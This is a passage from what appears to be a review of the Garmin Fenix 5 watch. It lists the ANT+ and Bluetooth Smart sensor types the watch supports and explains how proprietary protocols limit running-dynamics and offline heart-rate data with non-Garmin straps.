(Note: All of the charts in these accuracy sections were created using the DCR Analyzer tool. It allows you to compare power meters/trainers, heart rate, cadence, speed/pace, GPS tracks and plenty more. You can use it as well, more details here.)
Sensor Support (ANT+ & Bluetooth Smart):
The Fenix 5 series is the first Garmin unit to not only support a slew of ANT+ sensors, but also now supports Bluetooth Smart sensors. Previously Garmin would only utilize the Bluetooth side of the house for connecting to your phone via Bluetooth Smart. Now however, you can connect to both ANT+ and Bluetooth Smart sensors, assuming both follow published standards.
At present, the Fenix 5 supports the following sensor types:
ANT+ External Heart Rate Sensor
ANT+ Cycling Power Meter
ANT+ Cycling Speed-only, Cadence-only, and Speed/Cadence Combo Sensors
ANT+ Running Footpod
ANT+ Gear Shifting Profile (SRAM RED eTAP/Campagnolo EPS)
ANT+ External Temperature Sensors (Tempe)
ANT+ Lighting Sensors (Garmin Varia/Bontrager lights)
ANT+ Radar Systems (Garmin Varia Radar)
ANT+ Remote Display (Varia Vision heads up display)
ANT+ Muscle Oxygenation Sensor (i.e. Moxy/BSX)
ANT Shimano Di2 Gear Shifting Profile
ANT Garmin VIRB Action Camera Control
Bluetooth Smart External Heart Rate Sensor
Bluetooth Smart Cycling Speed-only, Cadence-only, and Speed/Cadence Combo Sensors
Bluetooth Smart Cycling Power Meters
Bluetooth Smart Running Footpods
Phew! Lots of sensor types!
Now, the most important wording I noted above was ‘follow published standards’. On the ANT+ side, this means either following specific adopted ANT+ profiles (i.e. the heart rate sensor or gear shifting profile), or in a few limited cases, following company-specific standards. For example, Shimano Di2 doesn’t technically follow the ANT+ gear shifting standard, rather, they’ve done their own thing. But they were the first to do that thing, so everyone supports it anyway.
Where things get messy is private/extended variants of standards, especially on the Bluetooth Smart side. For example – running dynamics. There is no standard on either ANT+ or Bluetooth Smart for running dynamic type data (i.e. vertical oscillation, ground contact time, etc…). Instead, Garmin uses private-ANT (just like Shimano does for Di2). And other companies like Wahoo with the TICKR series use private methods over Bluetooth Smart. These aren’t compatible. Meaning that you’ll get base heart rate data – but you won’t get any running dynamics stuff when using a non-Garmin strap. Maybe some day, but today is not that day.
The same is true of offline data, meaning the ability for a heart rate strap to cache/save data when not connected to a watch. Garmin uses this with the HRM-TRI/HRM-SWIM heart rate straps to save data while you swim, because it can’t send that data to the watch through the water. When connected again, Garmin uses the standard ANT+ ANTfs offloading capability to allow a watch to download that data. This is a published standard (and has been for more than half a decade).
However, others don’t follow this standard, and |
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